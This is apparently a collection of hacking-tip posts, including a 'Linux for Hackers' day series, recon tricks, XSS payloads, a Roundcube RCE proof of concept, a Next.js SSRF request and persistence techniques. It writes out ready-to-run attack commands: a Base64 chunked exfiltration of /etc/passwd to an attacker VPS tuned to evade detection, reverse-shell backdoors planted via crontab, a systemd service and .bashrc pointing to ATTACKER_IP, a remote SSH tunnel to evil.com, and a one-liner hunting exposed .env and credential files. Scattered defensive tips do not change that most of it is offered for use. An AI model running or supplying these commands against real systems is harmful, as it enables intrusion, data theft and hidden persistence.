🕵️ Recon Trick – One-Liner to Find Sensitive Files

ℹ️ Attackers often look for misconfigured files in subdomains. Just one exposed file (like /.env or /config.json) can leak database passwords, API keys, and tokens.

Here’s a powerful one-liner to automate the hunt:

subfinder -d domain.com -silent | \
while read host; do \
 for path in /config.js /config.json /app/config.js /settings.json /database.json /firebase.json /.env /.env.production /api_keys.json /credentials.json /secrets.json /google-services.json /package.json /package-lock.json /composer.json /pom.xml /docker-compose.yml /manifest.json /service-worker.js; do \
   echo "$host$path"; \
 done; \
done | httpx -mc 200

🔎 How it works:

➕ subfinder → finds subdomains
➕ Loops through juicy file paths (config.json, .env, docker-compose.yml, etc.)
➕ httpx -mc 200 → filters valid hits only

💡 Why it’s dangerous:

/.env → DB creds, JWT secrets
/config.json → API tokens
/firebase.json → Firebase access
/docker-compose.yml → internal service info

⚔️ Defense Tips:

🔸 Never expose sensitive files in web root
🔸 Use .gitignore & deployment rules to exclude secrets
🔸 Scan your own assets with this method before attackers do

🧠 Linux for Hackers – Day 15
📍 Networking Fundamentals for Hackers

Today we explore Linux networking basics — essential for both defenders and attackers , networking is related to cybersecurity as computer networks are often the primary targets of cyber attacks. Understanding networking protocols and configurations is essential for cybersecurity professionals to prevent and mitigate these attacks.

🔹 Key Commands:

ip a → Show network interfaces
ping target.com → Test connectivity
ss -tulnp → Show open/listening ports
traceroute target.com → Trace network path
dig domain.com → DNS lookup
curl ifconfig.me → Find your public IP

🔹 Traffic Monitoring:

ss -tnp
tcpdump -i eth0

With these, you can catch live traffic and detect connections.

🔹 Attacker Angle:
Hackers use these to:
⚡️ Discover open ports
⚡️ Map networks
⚡️ Enumerate DNS records
⚡️ Monitor traffic for credentials

✅ Your Task:
1️⃣ Run ss -tulnp and list open ports.
2️⃣ Capture packets with tcpdump -i eth0.
3️⃣ Use dig to enumerate DNS records.

💡 Pentester Tip: Networking is the backbone of hacking. Master the wire, and you master the attack.

🚨 Exfiltrating Files via Base64 + Chunked Requests

Sometimes servers or firewalls block direct file leaks.
A sneaky trick is to encode files in Base64 and send them in small chunks to bypass restrictions.

💻 One-liner:

i=0; base64 /etc/passwd | fold -w 60 | \
while read -r line; do \
  curl -s -X POST -d "$line" http://YOUR-VPS.COM/chunk$i; \
  i=$((i+1)); \
  sleep 0.5; \
done

🔎 How it works
1️⃣ Encodes /etc/passwd into Base64
2️⃣ Splits into 60-char chunks
3️⃣ Sends each chunk via POST requests
4️⃣ Adds delay to avoid WAF / IDS detection

⚔️ Defensive Notes
👉🏻 Monitor repeated outbound requests
👉🏻 Watch for Base64 patterns in traffic
👉🏻 Apply strict egress filtering

🔐 Red teamers use it for blind RCE exfiltration — defenders should know how to spot it.

🧠 Linux for Hackers – Day 16
📍 Firewalls & Packet Filtering (iptables & ufw)

Firewalls are the gatekeepers of Linux systems — understanding them is critical for both defenders and attackers.

🔹 iptables Basics
- Traffic is filtered by tables (filter, nat, mangle)
- Each table has chains (INPUT, OUTPUT, FORWARD)
- Rules are processed top-to-bottom

Example:

iptables -L -n -v       # List all rules
iptables -A INPUT -p tcp --dport 22 -j ACCEPT   # Allow SSH
iptables -A INPUT -j DROP   # Drop everything else

🔹 ufw – Uncomplicated Firewall
Simpler frontend to iptables:

ufw status
ufw allow 80/tcp
ufw deny 23/tcp

🔍 Attacker’s View
Hackers enumerate firewall rules to see what’s open:
⚡️ nmap -Pn -p- target.com (port scan even if ICMP blocked)
⚡️ Tunneling attacks (e.g., SSH over port 443 to bypass restrictions)

🔥 Pentester Tip: Misconfigured firewalls often allow outbound traffic — attackers exploit this to exfiltrate data or create reverse shells.

✅ Your Task:
1️⃣ Run iptables -L -n -v and analyze your firewall.
2️⃣ Block a port with iptables, then try connecting.
3️⃣ Use ufw to allow only HTTP/HTTPS and deny all else.

🕵️ 50+ Parameters Devs Actually Use (and Hunters Forget)

When you’re testing apps, don’t just fuzz id=123.
Real-world apps hide sensitive behavior behind parameters.
Try flipping, modifying, or abusing these 👇

Here’s a 🔑 list to try:

debug=true
test=1
admin=1
isAdmin=true
isPremium=true
superuser=1
role=user → flip to admin
uid=42
userid=42
account=42
profile=42
ref=partner → flip to internal
partnerId=1
affiliate=evil
redirect=/dashboard
redir=/home
url=http://evil.com
next=/secret
returnUrl=http://evil.com
callback=https://attacker.com
continue=/admin
dest=http://evil.com
theme=dark → inject HTML/JS
style=default → try <script>
view=profile → try admin
page=1 → try admin, dashboard
path=/images/1.png → SSRF/LFI candidate
file=report.pdf → ../etc/passwd
doc=123 → try higher/lower IDs
documentId=999
reportId=999
config=prod → change to dev
settings=default → try debug
mode=live → flip to test
env=production → flip to staging
stage=dev
preview=true → bypass controls
draft=1
beta=1
source=external → flip to internal
origin=trusted
cache=0 → sometimes unlocks hidden debug info
nocache=1
format=json → try xml, yaml, php
output=pdf → try json, txt
type=user → try admin or super
roleId=1
level=1 → crank to 9999
rank=1
step=1
flag=0 → flip to 1
feature=off → flip to on
module=payments → try admin
tab=users → try config
section=dashboard → try admin
action=edit → try delete
method=get → try post/put/delete
operation=read → try write/delete

⚔️ Tips for Hunters
1️⃣ Flip booleans (true/false, 0/1)
2️⃣ Change environment (prod/dev/test/stage)
3️⃣ Abuse redirects (returnUrl, callback)
4️⃣ Try role escalation (user → admin)
5️⃣ Test format conversions (json/xml/yaml/php)
6️⃣ Look for hidden environments (prod/dev/test/stage)

🔐 Defensive Note:
- Parameter fuzzing is a must in security testing — don’t assume unused params are harmless.
- Audit all query/body parameters and enforce strict allowlists — unused params often lead to privilege escalation.

📍 Secure Shell (SSH) & Tunneling Tricks

SSH is the lifeline for admins — and a powerful tool for hackers too. Today we’ll cover both hardening SSH and tunneling attacks.

🔹 SSH Basics

ssh user@target
scp file.txt user@target:/tmp/

🔹 SSH Hardening

1️⃣ Disable root login → edit /etc/ssh/sshd_config → PermitRootLogin no
2️⃣ Use key-based auth instead of passwords → ssh-keygen -t ed25519
3️⃣ Change default port(22) → Port 2222
4️⃣ Limit users → AllowUsers alice bob


🔹 Tunneling (For Attackers & Pentesters)

Local Port Forwarding:

ssh -L 8080:localhost:3306 user@target

⚡️Access remote MySQL via localhost.

Remote Port Forwarding:

ssh -R 4444:localhost:22 attacker@evil.com

⚡️Create a reverse shell-like tunnel.

Dynamic Proxy (SOCKS):

ssh -D 9050 user@target

⚡️ Route traffic via SOCKS proxy (works with proxychains).

🔥 Pentester Tip: Firewalls often allow outbound SSH on port 22 or even port 443. Attackers exploit this to bypass restrictions and pivot into internal networks.

✅ Your Task:
-Harden your SSH server by disabling root login & enforcing keys.
-Create a local port forward to access a blocked service.
-Use proxychains with SSH dynamic proxy for stealthy browsing.

🔎 XSS Payloads Every Pentester Should Try

When hunting for XSS during pentests or bug bounty testing, sometimes the most basic payloads work — but often, you need creative variations to bypass filters and trigger execution.

Here are a few useful payloads to add to your arsenal

<img src=x onerror=alert()>
<img/src=x onerror=alert()>
<img src="x"/onerror=alert()>
<img src="x"onerror=alert()>
<img\nsrc="x"onerror=alert()>
<img src="x"> <!-- proves HTML injection -->

✅ These confirm if you can inject HTML/JavaScript via img.

<iframe srcdoc="<script>alert(document.domain)</script>"></iframe>
<iframe srcdoc="<script src=http://whitelisteddomain.com></script>"></iframe>

✅ iframe srcdoc is powerful for bypassing certain contexts — it lets you execute inline or external scripts.

👉 Always test different contexts (script, iframe, svg, input, etc.) because XSS payloads often behave differently depending on where they’re injected.

💡 Pro tip: Build your own XSS wordlist from tested payloads and use it with fuzzing tools like ffuf, dalfox, or Burp Intruder to maximize coverage.

🧠 Linux for Hackers Day 18
📍 Linux Kernel & Exploit Basics

Today we dive into the Linux Kernel — the heart of the operating system — and learn why hackers and pentesters focus on kernel exploits for privilege escalation.

🔹 What is the Kernel?

The kernel is the core of Linux that manages memory, processes, devices, and system calls.
Running in ring 0 (highest privilege), it has complete control of the system.

🔹 Checking Kernel Version
Attackers often start by fingerprinting the kernel:

uname -r        # Kernel version
uname -a        # Full system info
cat /proc/version

Example output:

5.4.0-77-generic

🔹 Why Kernel Version Matters
⚡️Each version may contain known vulnerabilities.
⚡️Exploit databases (ExploitDB, GitHub PoCs, etc.) can be searched against the version.

Example:
Dirty COW (CVE-2016-5195) affects many Linux versions.
OverlayFS (CVE-2015-1328) allows privilege escalation.

🔹 Enumerating Exploitable Kernels
Use scripts like:

linux-exploit-suggester.sh
lse.sh

- These tools compare your kernel & system info with known exploits.

🔹 Compiling & Running Exploits
Most exploits come in C:

gcc exploit.c -o exploit
./exploit

⚠️ Note: Always test in lab environments (VMs, Docker) before running on real systems.

✅ Pentester Tip:
- Kernel exploits are powerful but noisy.
- Always try “safer” privilege escalation methods (misconfigs, weak perms, sudo abuse) before dropping kernel exploits.

🚨 CVE-2025-49113 – Roundcube Post-Auth RCE

A new vulnerability was discovered in Roundcube that allows Remote Code Execution (RCE) after authentication.

🔹 Vulnerability: Object Injection via _from parameter
🔹 Exploit Path: /upload.php
🔹 Impact: Post-authenticated attackers can execute arbitrary system commands.

🧪 Proof of Concept (PoC):

POST /upload.php
Content-Type: application/x-www-form-urlencoded

_from=O:8:"Exploit":1:{s:4:"code";s:13:"system('id');";}

This payload abuses PHP object injection, leading to direct command execution. Attackers can escalate from authenticated users to full system compromise.

🧠 Linux for Hackers Day 19
📍 Linux Persistence Techniques

Today we focus on how attackers and red teamers maintain persistence on compromised Linux machines. Understanding these techniques helps both defenders and pentesters.

🔹 1. SSH Key Persistence
Attackers often add their own SSH public key to the victim’s authorized_keys.

mkdir -p ~/.ssh
echo "attacker_public_key" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

✅ Now they can log in anytime without a password.

🔹 2. Crontab Persistence
Add a malicious job that runs on reboot:

(crontab -l ; echo "@reboot /bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1") | crontab -

✅This ensures a reverse shell starts whenever the system reboots.

🔹 3. Systemd Service Backdoor
Attackers can create malicious services:

cat << EOF > /etc/systemd/system/backdoor.service
[Unit]
Description=Backdoor Service

[Service]
ExecStart=/bin/bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1

[Install]
WantedBy=multi-user.target
EOF

systemctl enable backdoor.service
systemctl start backdoor.service

✅ Loads automatically at boot!

🔹 4. Bashrc/Profiles
Backdoors can be injected into .bashrc or /etc/profile.
Example:

echo "/bin/bash -i >& /dev/tcp/ATTACKER_IP/6666 0>&1" >> ~/.bashrc

🔹 5. Hidden Binary in PATH
Attackers place malicious binaries earlier in the PATH. For example:

echo 'export PATH=/home/user/.bin:$PATH' >> ~/.bashrc

If they drop a fake ls or sudo there → persistence with stealth.

✅ Pentester Tip: Always check persistence methods during post-exploitation. Defenders should monitor crontab, systemd, SSH keys, and bashrc changes.

🔓 Captcha Bypass in Web Applications

Many websites use CAPTCHAs to stop bots from abusing login, signup, or form submissions. But attackers and bug bounty hunters know: most CAPTCHAs aren’t bulletproof.

🔑 Common Bypass Techniques

1️⃣ Reusing Captcha Tokens
- Some apps don’t invalidate CAPTCHA after it’s solved once.
- You can reuse the same token for multiple requests.

2️⃣ Weak Validation (Frontend-Only)
- If the CAPTCHA is only checked in JavaScript, you can bypass it by sending requests directly to the backend.

3️⃣ Predictable / Static Captchas
- Some sites use math-based or simple image CAPTCHAs that don’t change (e.g., “2 + 3 = ?”).
- Bots can be scripted to auto-solve them.

4️⃣ OCR (Optical Character Recognition)
- With tools like tesseract-ocr or ML models, text-based image CAPTCHAs can often be broken automatically.

5️⃣ Third-Party CAPTCHA Misconfigurations
-For services like Google reCAPTCHA, if the site doesn’t verify the response with the API properly, you can bypass by sending any random token.

6️⃣ Replay Attacks
-Captcha validation response is sometimes valid for more than one request. Capture it once, replay for multiple attempts.

7️⃣ Alternate Endpoints
-Some web apps have an API endpoint (like /api/register) that skips CAPTCHA entirely.

🛠 Bug Bounty Testing Tips
🔸 Always check replayability of solved CAPTCHAs.
🔸 Try direct API calls to skip UI checks.
🔸 Inspect network requests—see if CAPTCHA is verified server-side or just frontend.
🔸 Automate with Burp Suite Intruder or custom scripts.

🧠 Linux for Hackers – Day 20
📍 Linux Services & Daemon Exploitation

Today we explore Linux services & daemons, how to enumerate them, and how attackers abuse misconfigurations to escalate privileges or move laterally.

🔹 What Are Services/Daemons?
➖ Background processes that provide functionality (web server, database, SSH).
➖ Common daemons: sshd, httpd (Apache), mysqld, redis-server.

🔹 Enumerating Services
Check running services:

ps aux | grep root
systemctl list-units --type=service
netstat -tulnp   # List listening ports
ss -tulnp        # Modern alternative

🔹 Privilege Escalation Opportunities
➖Services running as root can be abused.
➖Misconfigured daemons may allow code execution or file writes.

Examples:
➖ Apache misconfig (/var/www/html writable by www-data → webshell ).
➖ MySQL running without password for root.
➖ Redis RCE (writing SSH key into /root/.ssh/authorized_keys).

🔹 Exploiting Weak Service Configs
➖ Writable Service Files: If /etc/systemd/system/service.service is writable, attacker can hijack it.
➖ PATH Hijacking in service definitions.
➖ LD_PRELOAD injection via misconfigured services.

🔹 Lateral Movement via Services
- Database credentials often reused across systems.

⚡️ Attackers dump configs:

cat /etc/mysql/my.cnf
cat /var/www/html/config.php

to steal creds.

✅ Pentester Tip:
➖ Always check running services for:
➖ Weak file permissions.
➖ Config files with credentials.
➖ Services bound to 0.0.0.0 (exposed externally).

📌 Next.js Middleware SSRF via Header Injection

Did you know? Improperly handled headers in Next.js middleware can expose apps to SSRF (Server-Side Request Forgery) attacks.

💥 PoC Request

GET / HTTP/1.1
Host: target.com
Location: http://test.com
X-Middleware-Rewrite: http://test.com

✅ If the app blindly trusts the X-Middleware-Rewrite header, the server will fetch the attacker-controlled URL → SSRF triggered!

⚡️ Impact:
➕ Internal network access
➕ Fetching sensitive metadata (http://169.254.169.254)
➕ Potential pivot to RCE

🔍 Detection Tips:
✖️ Try injecting headers like X-Middleware-Rewrite & X-Middleware-Override.
✖️ Observe network callbacks (Burp Collaborator, Interactsh).
✖️ Look for unusual server behavior on crafted requests.

🛡 Mitigation:
▫️ Don’t trust client-supplied headers for rewrites.
▫️ Validate and sanitize all rewrite/redirect logic in middleware.
▫️ Apply SSRF protections (allowlists, block internal IP ranges).

🧠 Linux for Hackers – Day 21
📍 Linux Capabilities & Exploitation (Beyond SUID)

Today we dig into Linux capabilities — a granular alternative to SUID — and why misusing them can lead to powerful escalation vectors.

🔹 What are capabilities?
They break root privileges into discrete rights (e.g., CAP_NET_ADMIN, CAP_SYS_ADMIN, CAP_SETUID) that can be attached to files so that processes executing those files gain specific privileges without full root.

🔹 Why they matter to hackers
Capabilities like cap_dac_read_search, cap_net_bind_service, or cap_sys_admin can let an attacker bypass file restrictions, bind low ports, mount filesystems, or otherwise act like root — all without a SUID binary.

🔹 Quick commands

# Find files with capabilities
getcap -r / 2>/dev/null

# Check a specific file
getcap /usr/bin/ping

# Grant/remove caps (TEST ONLY)
sudo setcap cap_net_raw+ep /usr/bin/ping
sudo setcap -r /usr/bin/ping

🔹 Attack patterns to study
➖ cap_net_bind_service on a binary used to host a stealthy backdoor on port 80.
➖ cap_dac_read_search allowing reading otherwise restricted files.
➖ cap_sys_admin on a replaceable binary → serious system compromise.

🔹 Defensive checklist
➖ Audit capabilities: getcap -r /.
➖ Ensure capable binaries are owned by root and not writable by untrusted users.
➖ Use FIM + AppArmor/SELinux and prefer distro-packaged capabilities.
➖ Remove unnecessary capabilities with setcap -r.

🧠 Linux for Hackers – Day 22
📍 Advanced Persistence: systemd timers, user services & kernel modules

Today we cover advanced persistence attackers use and how to detect them: systemd user/system services and timers, rc.local/init scripts, autostart .desktop entries, kernel modules & DKMS, plus bootloader/firmware vectors.

Quick highlights:

➕ User-level systemd units (~/.config/systemd/user) + timers are stealthy and persistent.

➕ System-wide units in /etc/systemd/system/ give root persistence when writable.

➕ Kernel modules (insmod, DKMS) provide deep persistence but require root and are risky.

➕ GUI autostart entries and /etc/rc.local remain useful on many systems.

⚡️ Commands to practice:

systemctl --user enable --now backdoor.service
systemctl list-timers --all
getcap -r /  # (to look for capabilities discussed earlier)
lsmod; dmesg

Defense: monitor unit dirs, timer lists, module inserts, and use FIM/auditd.
